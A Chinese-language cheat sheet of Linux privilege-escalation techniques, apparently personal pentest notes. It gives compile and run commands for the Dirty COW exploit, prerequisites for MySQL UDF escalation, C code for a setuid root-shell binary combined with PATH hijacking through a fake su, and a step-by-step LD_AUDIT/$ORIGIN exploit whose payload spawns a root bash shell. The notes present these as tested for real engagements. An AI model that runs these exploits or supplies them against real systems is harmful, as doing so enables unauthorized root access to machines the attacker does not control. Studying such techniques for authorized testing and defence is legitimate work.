基础漏洞提权、数据库提权、SUID提权

常用命令

命令 说明
uname -a 显示所有可用系统信息
uname -r 内核版本
uname -m 查看系统架构(32/64)
cat /proc/version 内核信息
cat /etc/issue 发行版本信息
id 当前用户信息

https://github.com/SecWiki/Linux-kernel-exploits

脏牛提权:

漏洞范围:

Linux kernel >= 2.6.22(2007年发行,到2016年10月18日才修复)

(CVE-2016-5195 Dirty cow -> centos6、Ubuntu14、16)

C版本

Ubuntu系统会导致系统重启

若是直接执行导致服务器无响应,需要进入/tmp下修改passwd.bak文件后缀,则可重新运行

实战中,需要将原始备份文件(/tmp/passwd.bak)移动至/etc/passwd,其余的备份文件可删除

编译

gcc -pthread dirty.c -o dirty -lcrypt

运行

./dirty _passwd

C++版本(解决Ubuntu系统崩溃问题)

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil

./dcow -s

可复刻虚拟机,然后在本地虚拟机编译g++之后再上传靶机

用法

语句 说明
gcc exp.c -o exp gcc编译
./exp 运行

注:需要在交互式终端运行

其他常用脚本:

CVE-2018-1000001(glibc)

Mysql的UDF提权

前提:

mysql的root账户

mysqld以操作系统的root权限启动

secure_file_priv=’’

提权过程

同Windows的Mysql的UDF提权

详见udf.txt

导出路径固定/usr/lib64/mysql/plugin/x.so

SUID提权

作用于二进制可执行程序上,当执行这个程序时会临时切换身份为文件所有者身份

设置方法

权限设定方法:

1、 字母表示法:

chmod u+s FILE … à 添加SUID权限

chmod u-s FILE … à 删除SUID权限

2、数字表示法:

chmod 4755 FILE à 添加SUID权限到二进制程序文件 ** 在普通三位数字权限之前,用4代表添加到SUID位

chmod 0xxx FILE à 可以删除文件的SUID

注:s表示有效的suid权限,S表示没有执行权限,suid权限无效

提权步骤

1、编写C文件

#include <unistd.h>

void main(){

setuid(0);

setgid(0); # 两句设置以root权限运行

system("su root"); # 切换到root用户

}

2、编译

gcc demo.c -o demo

3、添加suid权限

chmod +s demo

4、伪装su文件。因为 demo.c 中有“su root”这个系统命令,要让这个su命令执行的不是系统自带的su脚本

echo "/bin/bash" > su

chmod 777 su

5、添加环境变量,让系统执行/tmp下的su文件

export PATH=/tmp:$PATH

6、在普通用户下运行demo程序,切换到root账户,提权成功

其他提权方式

亲测可用(环境centos7)

登录普通用户

mkdir /tmp/exploit //创建目录

ln -s /bin/ping /tmp/exploit/target //创建ping链接

exec 3< /tmp/exploit/target //设置文件夹描述为3

rm -rf /tmp/exploit/ //删除文件夹

ls -l /proc/$$/fd/3 //复制$$值

vim payload.c //创建配置文件

void __attribute__((constructor)) init() //在配置文件加入如下的内容

{

setuid(0);

system("/bin/bash");

}

:wq

gcc -w -fPIC -shared -o /tmp/exploit payload.c //需要安装gcc

ls -l /tmp/exploit

LD_AUDIT="$ORIGIN" exec /proc/复制$$值/fd/3